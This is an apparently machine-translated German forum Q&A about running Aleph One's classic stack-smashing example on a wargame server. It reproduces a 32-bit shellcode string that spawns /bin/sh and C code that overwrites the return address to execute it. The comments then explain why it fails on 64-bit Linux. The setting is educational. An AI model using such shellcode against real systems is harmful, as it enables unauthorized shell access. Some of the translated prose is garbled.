Einfache buffer-overflow-und shellcode Beispiel

Ich versuche schon zu laufen Aleph One ' s Beispiel, um ein BOF und eine shell öffnen.

Dies ist Aleph One Papier: http://insecure.org/stf/smashstack.html

- Und dies ist aus dem einfachen C-code (befindet sich fast auf der Hälfte des Papiers):

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}

Nun, ich habe versucht, läuft dieses Programm in einer SSH-bash, aber ohne Erfolg.

Da nichts passiert ist, nachdem es läuft, habe ich gedacht, dass ich einfach nicht schreiben, die Rückkehr-Adresse, so habe ich den GDB zu sehen, der Abstand zwischen der ret-variable und die echte Rückkehr-Adresse, und erkannte, es war 7.

Um zu überprüfen, mich selbst, versuchte ich es mit größerer ret in 3,4,5,6, und in der Tat, nur wenn ich die geänderte Zeile 10:

   ret = (int *)&ret + 7;

Bekam ich einen "segmentation fault".

Doch, ich verstehe nicht, warum die bash ist nicht geöffnet und ich bekomme diese Fehlermeldung, statt.

P. S ich auf 'Logik smashthestack' SSH-Server (die eine Ihrer Herausforderungen ist BOF): http://logic.smashthestack.org:88/

Dank für die Helfer.

  • OS? Version? (oh, und main() zurück int...)
  • Linux 2.6.18-92.1.18.el5xen x86_64
  • verwenden Sie 64-bit aber die Zuordnung shellcode-Adresse mit casting int(4 bytes) und mit int*
  • danke, das problem gelöst
  • Sie sind herzlich willkommen. beachten Sie auch, dass der Autor erzeugt, shellcode mit 32bit asm. so sollten Sie umschreiben Autors shelcode.asm selbst und dann bekommen die hex-Befehle strings. Da ich aber weiß, das shellcode sein könnte, funktioniert nicht Ursache der linux-Ausführung Berechtigungen
InformationsquelleAutor Jjang | 2013-12-06
Schreibe einen Kommentar